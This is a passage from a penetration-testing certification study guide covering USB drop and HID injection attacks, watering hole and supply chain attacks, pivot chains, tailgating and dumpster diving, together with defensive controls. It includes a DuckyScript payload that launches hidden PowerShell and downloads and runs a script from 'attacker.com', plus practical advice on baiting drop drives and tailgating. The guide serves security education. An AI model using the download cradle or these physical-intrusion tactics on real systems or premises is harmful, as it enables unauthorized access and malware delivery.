&lt;p&gt;The &lt;strong&gt;USB Rubber Ducky&lt;/strong&gt; (by Hak5) is the most famous HID attack device. It is a USB device the size of a standard flash drive that pre-loads and executes keystroke injection payloads in seconds.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;O.MG Cable&lt;/strong&gt; represents an evolution — a USB cable (for charging or data transfer) that contains an embedded HID attack computer. Physically indistinguishable from a standard cable. When connected to a computer, it executes programmed attacks.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Rubber Ducky payload example (DuckyScript)&lt;/span&gt;
&lt;span class="c"&gt;# This payload opens PowerShell and downloads a reverse shell&lt;/span&gt;
DELAY 1000
GUI r                   &lt;span class="c"&gt;# Windows Run dialog&lt;/span&gt;
DELAY 500
STRING powershell &lt;span class="nt"&gt;-NoP&lt;/span&gt; &lt;span class="nt"&gt;-NonI&lt;/span&gt; &lt;span class="nt"&gt;-W&lt;/span&gt; Hidden &lt;span class="nt"&gt;-Exec&lt;/span&gt; Bypass
ENTER
DELAY 1000
STRING IEX&lt;span class="o"&gt;(&lt;/span&gt;New-Object Net.WebClient&lt;span class="o"&gt;)&lt;/span&gt;.DownloadString&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'http://attacker.com/payload.ps1'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
ENTER
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;BadUSB / Malicious Firmware:&lt;/strong&gt; BadUSB exploits a fundamental vulnerability in USB — that USB device firmware can be reprogrammed to make a device behave as any USB device class. A USB drive can be reprogrammed to behave as a network adapter (stealing network traffic), a keyboard (HID injection), and a storage device simultaneously. The attack surface is the USB protocol itself, not the operating system.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Autorun-based Payloads:&lt;/strong&gt; On older Windows systems, inserting a USB drive automatically executed code in the autorun.inf file. Modern Windows versions disable autorun by default, but many users are tricked into double-clicking what they believe to be a document — which is actually an executable or a shortcut that executes a hidden payload.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;LNK (Windows Shortcut) Exploits:&lt;/strong&gt; A USB drive contains what appear to be legitimate documents — a spreadsheet labeled "Employee_Salaries_2024.xlsx.lnk" or "HR_Benefits_Information.pdf.lnk". The .lnk extension is hidden by Windows by default. When the "document" is opened, it executes a malicious command instead of opening a file. The payload executes in the security context of the user — which may be domain admin.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Charging Station Attacks (Juice Jacking):&lt;/strong&gt; Public USB charging stations can be modified to deliver malicious payloads to connected devices, stealing data or installing malware on phones and laptops. This is the physical-world equivalent of connecting to a malicious Wi-Fi hotspot.&lt;/p&gt;

&lt;h4&gt;
  
  
  USB Drop Attack Execution — Professional Red Team Approach
&lt;/h4&gt;

&lt;p&gt;In authorized physical penetration testing engagements, USB drop attacks follow a deliberate process:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Drive preparation:&lt;/strong&gt; USB drives are loaded with the appropriate payload for the engagement objectives. They are often labeled with convincing content — corporate branding, internal-looking labels ("Q3 Financial Review - CONFIDENTIAL"), or content that creates curiosity ("Employee Survey Results").&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Placement strategy:&lt;/strong&gt; Drives are placed in high-traffic locations where the target employees will find them: parking lots, break rooms, elevator lobbies, conference rooms, reception areas, bathrooms. The placement should appear natural — fallen from someone's bag, accidentally left on a desk.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Multiple vectors:&lt;/strong&gt; Professional engagements often combine multiple placement types: some labeled drives left in parking lots, some on desks while performing physical access testing, some dropped in conference rooms during break periods.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tracking:&lt;/strong&gt; Modern USB attack frameworks can track exactly when a payload is executed, from which computer (IP address, hostname), and what information the payload reports back. This provides evidence for the assessment report.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Detection and analysis:&lt;/strong&gt; The tracking data reveals which employees connected drives, what systems were affected, and how long it took for the incident to be detected (if at all) by the security operations team.&lt;/p&gt;

&lt;h4&gt;
  
  
  Defending Against USB Drop Attacks
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Technical controls:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Disable USB ports at the BIOS level on systems where they are not needed&lt;/li&gt;
&lt;li&gt;Use endpoint security tools that block USB storage devices but allow HID devices (with caution — HID injection is then the relevant threat)&lt;/li&gt;
&lt;li&gt;Use endpoint detection tools that flag suspicious HID device behavior (automated keystroke patterns)&lt;/li&gt;
&lt;li&gt;Implement USB device whitelisting (only pre-approved device IDs can connect)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Physical controls:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;USB port blockers (physical devices that block port access)&lt;/li&gt;
&lt;li&gt;Clear desk policies that reduce the likelihood of found drives being connected&lt;/li&gt;
&lt;li&gt;Secure facility controls that reduce the ability of attackers to physically place drives&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Human controls:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Awareness training specifically about USB drives — "never connect a found USB drive to any computer"&lt;/li&gt;
&lt;li&gt;Clear reporting procedure for suspicious USB drives (pick up with a paper towel, bring to IT/security)&lt;/li&gt;
&lt;li&gt;Consequences and procedures clearly communicated&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  4.2.6 Watering Hole Attacks — Poisoning the Trusted Source
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The Predator Metaphor That Defines the Attack
&lt;/h4&gt;

&lt;p&gt;A watering hole, in the natural world, is a place where prey animals must go to drink — a location of concentrated, predictable vulnerability. A predator that understands prey behavior does not chase individual animals across the savanna. They wait at the watering hole, knowing that eventually every animal will come to them.&lt;/p&gt;

&lt;p&gt;The watering hole attack applies this principle to cybersecurity: instead of attacking the target organization directly (where defenses may be strong), the attacker identifies websites, forums, or online platforms that the target organization's employees regularly visit — and compromises those external resources to deliver malware to the employees who visit them.&lt;/p&gt;

&lt;p&gt;The genius of the watering hole attack is that it attacks trust itself. Employees are told not to visit suspicious websites, to be cautious of unsolicited links, to avoid downloading software from untrusted sources. Watering hole attacks deliver malware from trusted sources — websites the employees have visited dozens of times before, from which they have previously downloaded legitimate software, which they have no reason to doubt.&lt;/p&gt;

&lt;h4&gt;
  
  
  How Watering Hole Attacks Work
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Target profiling:&lt;/strong&gt; The attacker identifies the target organization and researches which external websites employees regularly visit. This might include:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Industry-specific news sites and forums&lt;/li&gt;
&lt;li&gt;Professional association websites&lt;/li&gt;
&lt;li&gt;Vendor and supplier portals&lt;/li&gt;
&lt;li&gt;Trade conference websites&lt;/li&gt;
&lt;li&gt;Government regulatory websites&lt;/li&gt;
&lt;li&gt;Specialized technical blogs and documentation sites&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For a financial services firm, the watering holes might be financial industry news sites, regulatory body websites, and the web portals of their software vendors. For a defense contractor, they might be defense industry news sites, government procurement portals, and the websites of specialized equipment suppliers.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Site compromise:&lt;/strong&gt; The attacker compromises the identified watering hole sites. This typically involves:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Finding and exploiting vulnerabilities in the watering hole site's CMS (WordPress, Drupal, Joomla)&lt;/li&gt;
&lt;li&gt;Compromising the hosting infrastructure or CDN&lt;/li&gt;
&lt;li&gt;Injecting malicious JavaScript into the site's pages&lt;/li&gt;
&lt;li&gt;Modifying download links to point to trojanized versions of legitimate software&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The compromise is usually designed to be invisible to the site's administrators — the malicious code runs silently, affects only specific visitor types (e.g., visitors coming from corporate IP ranges, using specific browser fingerprints), and causes no obvious disruption to the site's normal function.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Malware delivery:&lt;/strong&gt; When a target organization's employee visits the compromised watering hole, the malicious JavaScript executes automatically (a drive-by download). Depending on the browser and operating system, this may:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Exploit a browser vulnerability to execute code without any user action&lt;/li&gt;
&lt;li&gt;Deliver a malicious file download that the user is encouraged to open&lt;/li&gt;
&lt;li&gt;Redirect to a malicious page that continues the attack chain&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The malware is delivered through a site the employee trusts, in a context that does not seem suspicious — they were doing their normal work, visiting a site they always visit.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Historical examples:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The 2019 iOS browser exploit chain discovered by Google's Project Zero involved multiple watering hole sites. These sites, visited by users of a specific ethnic and religious community, delivered sophisticated iOS exploits that provided complete device compromise — contacts, messages, photos, real-time location, and communications — with a single web page visit.&lt;/p&gt;

&lt;p&gt;Operation ShadyRAT (2011) used watering hole attacks to target defense contractors, government agencies, and technology companies. The attackers compromised industry association websites that the target organizations' employees regularly visited.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Strategic watering hole attacks against critical sectors:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Nation-state actors routinely use watering hole attacks because they allow high-value targeting with plausible deniability. If you compromise an energy sector trade association's website and use it to deliver exploits to visitors, you can attack every energy company whose employees visit that site — simultaneously, invisibly, through a trusted resource.&lt;/p&gt;

&lt;h4&gt;
  
  
  Supply Chain Attacks — The Logical Extension
&lt;/h4&gt;

&lt;p&gt;Watering hole attacks represent a relatively simple form of supply chain compromise. The full supply chain attack concept extends this logic further: instead of compromising a website that target employees visit, compromise a software component that target organizations deploy.&lt;/p&gt;

&lt;p&gt;The &lt;strong&gt;SolarWinds Orion attack (2020)&lt;/strong&gt; is the definitive modern supply chain attack. Attackers (later attributed to the Russian SVR intelligence service, Cozy Bear/APT29) compromised the build process of SolarWinds' Orion IT monitoring software. They inserted a malicious backdoor (SUNBURST) into a legitimate software update, which was then signed with SolarWinds' legitimate code signing certificate and distributed to approximately 18,000 organizations through the normal software update mechanism.&lt;/p&gt;

&lt;p&gt;Every organization that received and installed the compromised update was then backdoored — without visiting a suspicious site, without clicking a suspicious link, without taking any action that a security-aware user would identify as risky. They were simply applying a software update from a trusted vendor.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The XZ Utils backdoor (2024)&lt;/strong&gt; demonstrated the same principle in open-source software: a malicious contributor spent approximately two years building trust in a critical open-source compression library (XZ Utils) before inserting a backdoor that would have allowed SSH authentication bypass on systems running the compromised version. The attack was discovered before widespread deployment, but it illustrated the patience and sophistication of modern supply chain attackers.&lt;/p&gt;

&lt;h4&gt;
  
  
  Defending Against Watering Hole Attacks
&lt;/h4&gt;

&lt;p&gt;The fundamental challenge of defending against watering hole attacks is that they exploit trust — and removing all trust from external websites would make the internet non-functional for employees.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Technical defenses:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Browser isolation technology (rendering all web content in an isolated virtual environment that cannot affect the host system)&lt;/li&gt;
&lt;li&gt;DNS filtering to block known malicious domains&lt;/li&gt;
&lt;li&gt;Endpoint detection tools that identify anomalous network connections from browsers&lt;/li&gt;
&lt;li&gt;Application whitelisting to prevent unauthorized executables from running&lt;/li&gt;
&lt;li&gt;HTTPS with certificate pinning to detect compromised or substituted content&lt;/li&gt;
&lt;li&gt;Web proxy with SSL inspection to examine encrypted traffic from potentially compromised sites&lt;/li&gt;
&lt;li&gt;Threat intelligence feeds that track compromised sites and block access&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Behavioral defenses:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Principle of least privilege — employees browse the web with limited-rights accounts, so drive-by exploits execute in a constrained context&lt;/li&gt;
&lt;li&gt;Regular browser and plugin updates to reduce the attack surface for browser exploits&lt;/li&gt;
&lt;li&gt;Disabling JavaScript and plugins on high-risk browsing contexts&lt;/li&gt;
&lt;/ul&gt;




&lt;h3&gt;
  
  
  4.2.7 The Pivot Attack — Chaining Social Engineering into Network Access
&lt;/h3&gt;

&lt;h4&gt;
  
  
  What a Pivot Attack Is
&lt;/h4&gt;

&lt;p&gt;A pivot attack is not a standalone technique — it is a strategic concept describing how social engineering serves as the first link in a longer attack chain. The social engineering component provides initial access or initial intelligence; the pivot is the subsequent transition to technical exploitation of that access.&lt;/p&gt;

&lt;p&gt;Understanding pivot attacks is essential because it contextualizes social engineering within the broader penetration testing and attack methodology. Social engineering is rarely an end goal — it is a means to an end. The end is persistent network access, data exfiltration, financial fraud, or operational disruption.&lt;/p&gt;

&lt;h4&gt;
  
  
  Social Engineering as an Initial Access Vector
&lt;/h4&gt;

&lt;p&gt;In the MITRE ATT&amp;amp;CK framework, "Initial Access" is the first tactic — how attackers establish their first foothold in a target environment. The most common initial access techniques in real-world intrusions are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Phishing (T1566)&lt;/strong&gt; — the most common initial access technique observed in 2024&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Valid Accounts (T1078)&lt;/strong&gt; — using credentials obtained through phishing or data breaches&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;External Remote Services (T1133)&lt;/strong&gt; — exploiting VPN and remote access systems (often enabled by vished credentials)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Exploit Public-Facing Application (T1190)&lt;/strong&gt; — technical exploitation (less common than social engineering for initial access)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The pattern is consistent: social engineering provides the initial foothold, and technical techniques are used for subsequent lateral movement, privilege escalation, and objective achievement.&lt;/p&gt;

&lt;h4&gt;
  
  
  The MGM Breach as a Pivot Attack Model
&lt;/h4&gt;

&lt;p&gt;The MGM Resorts breach provides a clear illustration of the pivot chain:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PHASE 1: OSINT (Passive Reconnaissance)
→ Identified MGM employee on LinkedIn
→ Gathered name, role, enough personal details for impersonation

PHASE 2: SOCIAL ENGINEERING (Vishing)
→ Called IT help desk impersonating the employee
→ Social engineered credential reset
→ Obtained valid Active Directory credentials

PHASE 3: PIVOT — TECHNICAL EXPLOITATION BEGINS
→ Used obtained credentials to authenticate to AD
→ Enumerated AD structure (BloodHound for attack path analysis)
→ Identified privilege escalation paths
→ Moved laterally through the network

PHASE 4: OBJECTIVE ACHIEVEMENT
→ Deployed ransomware across hotel systems
→ Encrypted critical operational infrastructure
→ Demanded ransom for decryption keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The social engineering phase lasted ten minutes. The subsequent technical attack phase lasted longer. But without the ten-minute social engineering phase, the technical attack could not have begun — MGM's technical perimeter was sufficiently hardened that direct external exploitation was not the chosen path.&lt;/p&gt;

&lt;h4&gt;
  
  
  Common Pivot Patterns
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Vished credentials → VPN/RDP access:&lt;/strong&gt; A caller impersonates IT support and convinces the target to provide VPN credentials or assists them in "reconfiguring" their VPN client (which actually installs a remote access tool). With VPN access, the attacker is inside the corporate network and can begin technical enumeration.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Phishing → Malware deployment → Pivoting to additional systems:&lt;/strong&gt; A phishing email delivers a malware payload. The malware establishes C2 (command and control) communication and provides a foothold. The attacker uses this foothold for lateral movement — connecting from the compromised workstation to internal servers, using credentials harvested from memory (Mimikatz, credential dumping), and pivoting progressively toward higher-value targets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;USB drop → Initial execution → Reverse shell → Lateral movement:&lt;/strong&gt; An employee plugs in a dropped USB drive. The HID payload executes a PowerShell download cradle. A reverse shell is established. The attacker accesses the compromised machine remotely through the C2 channel. From there, they pivot using the same internal network access and internal network protocols that legitimate users use.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Social engineering + physical access → Internal network access → Remote exploitation:&lt;/strong&gt; A physical penetration tester (tailgating into the office, impersonating a vendor) connects a network implant device (LAN Turtle, Packet Squirrel) to an internal network port. The implant provides persistent remote access to the internal network. The attacker, from a remote location, uses this access to conduct technical exploitation.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Strategic Lesson for Penetration Testing Professionals
&lt;/h4&gt;

&lt;p&gt;The pivot attack model establishes a key professional principle: &lt;strong&gt;social engineering tests should never be evaluated in isolation from their technical consequences.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A social engineering test that reports "23% of employees provided credentials to a phishing simulation" is interesting but incomplete. The complete picture requires answering: "What could an attacker do with those credentials?" If the answer is "directly authenticate to the corporate VPN and access the internal network," the 23% statistic represents a catastrophic security failure. If the answer is "authenticate to a single web application with no access to sensitive data," the 23% statistic represents a lower-impact finding.&lt;/p&gt;

&lt;p&gt;This is why sophisticated red team engagements do not stop at credential capture. They use captured credentials to demonstrate the technical impact: they authenticate to the VPN, they enumerate the internal network, they access sensitive files, they show the client exactly what an attacker would have done with what the social engineering obtained. Only then is the true business risk of the social engineering vulnerability fully communicated.&lt;/p&gt;




&lt;h1&gt;
  
  
  Module 4: Social Engineering Attacks — Sections 4.3 through 4.6
&lt;/h1&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;CompTIA PenTest+ / Ethical Hacking Certification Series&lt;/strong&gt;&lt;br&gt;
&lt;em&gt;Professional Reference Guide — GitHub Edition&lt;/em&gt;&lt;br&gt;
&lt;em&gt;Module 4 Final Sections — Physical Attacks · Tools · Influence · Module Summary&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
4.3 Physical Attacks

&lt;ul&gt;
&lt;li&gt;4.3.1 Overview — When the Attacker Walks Through the Front Door&lt;/li&gt;
&lt;li&gt;4.3.2 Tailgating — The Physics of Unauthorized Entry&lt;/li&gt;
&lt;li&gt;4.3.3 Dumpster Diving — Intelligence from Discarded Material&lt;/li&gt;
&lt;li&gt;4.3.4 Shoulder Surfing — Observation as an Attack Vector&lt;/li&gt;
&lt;li&gt;4.3.5 Badge Cloning — Defeating Electronic Access Control&lt;/li&gt;
&lt;li&gt;4.3.6 Physical Attack Methodology — The Complete Red Team Approach&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
4.4 Social Engineering Tools

&lt;ul&gt;
&lt;li&gt;4.4.1 Overview — The Professional Social Engineering Toolkit&lt;/li&gt;
&lt;li&gt;4.4.2 Social-Engineer Toolkit (SET)&lt;/li&gt;
&lt;li&gt;4.4.3 Browser Exploitation Framework (BeEF)&lt;/li&gt;
&lt;li&gt;4.4.4 Call Spoofing Tools — The Infrastructure of Vishing&lt;/li&gt;
&lt;li&gt;4.4.5 GoPhish — Professional Phishing Campaign Management&lt;/li&gt;
&lt;li&gt;4.4.6 Evilginx2 — Adversary-in-the-Middle Phishing&lt;/li&gt;
&lt;li&gt;4.4.7 Supporting Tools and Infrastructure&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
4.5 Methods of Influence — The Complete Psychological Framework

&lt;ul&gt;
&lt;li&gt;4.5.1 Overview — How Influence Actually Works&lt;/li&gt;
&lt;li&gt;4.5.2 The Six Cialdini Principles in Operational Depth&lt;/li&gt;
&lt;li&gt;4.5.3 Beyond Cialdini — Advanced Influence Mechanics&lt;/li&gt;
&lt;li&gt;4.5.4 Stacking Principles — Why Combined Attacks Are So Devastating&lt;/li&gt;
&lt;li&gt;4.5.5 Countermeasures — Building Resistance to Influence&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;4.6 Module 4 Summary — The Complete Picture of Human-Layer Security&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  4.3 Physical Attacks
&lt;/h2&gt;

&lt;h3&gt;
  
  
  4.3.1 Overview — When the Attacker Walks Through the Front Door
&lt;/h3&gt;

&lt;p&gt;The most sophisticated technical attack in the world can be rendered unnecessary by a single act: walking through an unlocked door.&lt;/p&gt;

&lt;p&gt;Physical attacks represent the intersection of social engineering and physical security — attacks that use manipulation, deception, observation, or physical devices to bypass the access controls that organizations spend significant resources implementing. And they are far more prevalent in real-world security incidents than most organizations acknowledge.&lt;/p&gt;

&lt;p&gt;The 2024 IBM Cost of a Data Breach Report notes that breaches involving physical security failures cost organizations an average of $4.07 million per incident. These breaches take 10% longer to identify than purely digital attacks, largely because physical intrusions often do not generate the network logs and system alerts that digital attacks produce. An attacker who walks into a server room, plugs in a network implant device, and walks out has potentially established persistent access with zero digital footprint — at least until the device is physically found.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The physical attack surface of a typical organization includes:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Every door that employees can enter — loading docks, emergency exits, staff entrances, parking garages with direct building access. These are systematically less secured than primary entrances.&lt;/p&gt;

&lt;p&gt;Every conference room, meeting space, and common area where visitors arrive — areas where outsiders have legitimate presence and where the social convention of challenging people is weakest.&lt;/p&gt;

&lt;p&gt;Every desk, monitor, notebook, and whiteboard that employees leave visible — physical documents, handwritten passwords, network topology diagrams, and organizational charts that employees treat as invisible because they are familiar.&lt;/p&gt;

&lt;p&gt;Every piece of hardware — workstations, network devices, printers, servers — that a brief moment of physical access could compromise with an implant device.&lt;/p&gt;

&lt;p&gt;Every trash bin, recycling container, and shredding collection point — the exit for documents that employees no longer consider valuable.&lt;/p&gt;

&lt;p&gt;Physical attacks cannot be addressed by technical controls alone. They require physical security controls (mantraps, guards, cameras, access control systems), procedural controls (clear desk policies, visitor management procedures, challenge protocols), and human controls (security awareness training that specifically addresses physical attack scenarios).&lt;/p&gt;

&lt;p&gt;Understanding physical attacks is essential for penetration testers because physical security assessments are increasingly common client requests — and because physical access often enables the technical attacks that follow. An attacker who reaches a network port inside the building can deploy exploits that are impossible from outside the perimeter.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.3.2 Tailgating — The Physics of Unauthorized Entry
&lt;/h3&gt;

&lt;h4&gt;
  
  
  The Core Concept
&lt;/h4&gt;

&lt;p&gt;Tailgating is physical social engineering in its most direct form: an unauthorized person gains entry to a restricted area by following closely behind an authorized person through a secured access point. The attacker exploits the social convention of not letting a door slam in someone's face — one of the most deeply embedded courtesies in human behavior.&lt;/p&gt;

&lt;p&gt;The related term &lt;strong&gt;piggybacking&lt;/strong&gt; describes a slightly different dynamic: the authorized person is aware they are allowing someone to enter but has been deceived or pressured into doing so. In tailgating, the authorized person typically does not notice the unauthorized follower, or notices but assumes the person behind them has legitimate access. In piggybacking, the authorized person is an active (if unwitting) participant — they hold the door because they were asked to, because the attacker appeared to have their hands full, or because refusing felt rude.&lt;/p&gt;

&lt;p&gt;Both succeed because of a fundamental human tendency that is simultaneously a social virtue and a security vulnerability: &lt;strong&gt;we extend courtesy to people in our immediate physical environment without verifying their authorization&lt;/strong&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Why Tailgating Works — The Social Psychology
&lt;/h4&gt;

&lt;p&gt;The effectiveness of tailgating is grounded in several intersecting psychological mechanisms.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Social facilitation and physical proximity:&lt;/strong&gt; When we are physically close to someone — within the social distance bubble that human interaction creates — the normal social contract of stranger relationships shifts. People who are physically close become temporarily part of our immediate social group. We feel social pressure to treat them with the same consideration we would give known associates.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The presumption of legitimacy in physical spaces:&lt;/strong&gt; Humans use physical presence as a heuristic for legitimacy. If someone is in a secure building, they must have gotten past security. If someone is walking confidently through a corporate lobby dressed in business attire, they are an employee or a legitimate visitor. This heuristic works well enough in normal circumstances to have become deeply automatic — we do not consciously evaluate every person we see in a professional environment.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The social cost of challenging:&lt;/strong&gt; Stopping someone and demanding to see their credentials is socially uncomfortable. It implies distrust. It risks offending a colleague, a senior manager, or an important visitor. Most people have never been trained to challenge — and even those who have been trained find it viscerally uncomfortable to execute. The social friction of challenging is so high that most employees will not do it even when they are uncertain about whether the person behind them belongs there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cognitive load:&lt;/strong&gt; In the rush of a typical workday — hurrying to a meeting, carrying coffee, thinking about a presentation — employees' cognitive resources are depleted. Evaluating the authorization of a person behind them at a door is a task that requires dedicated attention. In a high-cognitive-load state, people fall back on the path of least resistance: extend courtesy, assume legitimacy, move on.&lt;/p&gt;

&lt;h4&gt;
  
  
  The Attacker's Perspective — Execution Techniques
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Basic tailgating:&lt;/strong&gt; The attacker identifies a moment when an authorized employee approaches a secured entry point. They time their approach to arrive just as the door is being opened — close enough that the door does not close before they can enter, but not so close as to obviously crowd. They may make eye contact and smile, or look at their phone to appear distracted and harmless. The social convention ensures the door is held.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Props and props:&lt;/strong&gt; Carrying items that plausibly require assistance — a heavy box, a large catering tray, a stack of folders — creates a social obligation for others to help. "Could you hold the door? My hands are full." Few people refuse this request, and in the moment of compliance, they rarely ask about authorization.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The service worker persona:&lt;/strong&gt; Uniformed service workers — IT technicians, maintenance personnel, delivery drivers — enjoy a specific social permission to move through spaces without challenge. They have an expected reason to be there, they look like they belong, and challenging them feels like obstruction of a legitimate service function. An attacker dressed as an HVAC technician with a clipboard and a toolbox can access server rooms, mechanical spaces, and executive floors with minimal challenge.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Reverse tailgating:&lt;/strong&gt; A sophisticated variant where the attacker enters a building legitimately (as a visitor, for a meeting, or through an unlocked public area) and then uses their presence inside the building as a launching point for accessing restricted internal areas. Having passed external security, they are now trusted to be in the building — which reduces scrutiny for internal movement.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Following at a distance through multifactor controlled entries:&lt;/strong&gt; Multi-factor physical security (badge + PIN, badge + biometric) is specifically designed to prevent tailgating — one person authenticates, one person enters. But even mantrap-style dual-door entries can be defeated if the attacker is inside the mantrap during authentication and the authorized user does not notice or does not think to prevent them from following.&lt;/p&gt;

&lt;h4&gt;
  
  
  Real-World Documented Tailgating Incidents
&lt;/h4&gt;

&lt;p&gt;In &lt;strong&gt;August 2024&lt;/strong&gt;, a Norwegian man successfully tailgated through airport security at Munich Airport on two consecutive days, boarding flights without a valid ticket. On the first attempt he was detected aboard the plane; remarkably, he succeeded completely on the second attempt, boarding a Lufthansa flight to Stockholm. The incident prompted investigations into airport security procedures and demonstrated that physical security failures occur even in high-security environments.&lt;/p&gt;

&lt;p&gt;In &lt;strong&gt;December 2024&lt;/strong&gt;, Russian diplomats gained access to restricted areas of the British Houses of Parliament — an institution with significant security protocols — exploiting physical access procedures that were not adequately enforced. A ban on Russian official visits had been in place since 2022, making the breach particularly notable.&lt;/p&gt;

&lt;p&gt;These incidents at high-security institutions demonstrate that tailgating is not merely a risk for lax corporate environments. It succeeds wherever human courtesy, cognitive load, and social conventions are in play — which is everywhere.&lt;/p&gt;

&lt;h4&gt;
  
  
  Physical Controls That Specifically Counter Tailgating
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Mantraps (Security Airlocks):&lt;/strong&gt; A mantrap is a small room with two electronically controlled doors — the first door must close and lock before the second door can open. Single-person detection sensors (usually weight-based or camera-based) verify that only one person enters between door openings. Mantraps are expensive and create operational friction, but they are the only technical control that completely eliminates basic tailgating.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Full-height turnstiles:&lt;/strong&gt; Unlike standard waist-height turnstiles that can be quickly followed through, full-height turnstiles (floor-to-ceiling) create a physical barrier that allows only one person per authentication cycle. However, they do not prevent piggybacking if two people enter the same compartment simultaneously.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Security guards at entry points:&lt;/strong&gt; A present, attentive human guard who challenges people without visible identification provides the most flexible defense because they can respond to context that automated systems cannot evaluate. However, guards are expensive, create friction, and are subject to the same social engineering vulnerabilities as any human — a confident, appropriately dressed attacker who responds to challenge with authority and insider knowledge can often pass a guard as well.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Anti-tailgating sensors:&lt;/strong&gt; Camera-based or infrared sensor systems that detect when more than one person passes through a secured entry per authentication event, triggering an alarm. These systems reduce tailgating success rates but have false positive rates that create operational friction.&lt;/p&gt;




&lt;h3&gt;
  
  
  4.3.3 Dumpster Diving — Intelligence from Discarded Material
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Why Trash Is a Treasure Trove
&lt;/h4&gt;

&lt;p&gt;The fundamental insight behind dumpster diving as an attack technique is straightforward: organizations generate enormous quantities of sensitive information, and when people no longer need a document, they often treat it as valueless and discard it without considering what it reveals.&lt;/p&gt;

&lt;p&gt;This treatment of discarded material as harmless is a cognitive artifact of the physical world. Once something is thrown away, we mentally release ownership of it. But physical disposal does not erase the information content of a document. A discarded printout of an employee roster still contains every name, phone number, and job title on it. A thrown-away network diagram still shows the complete internal network topology. An old password list that someone decided to discard still contains every credential written on it.&lt;/p&gt;

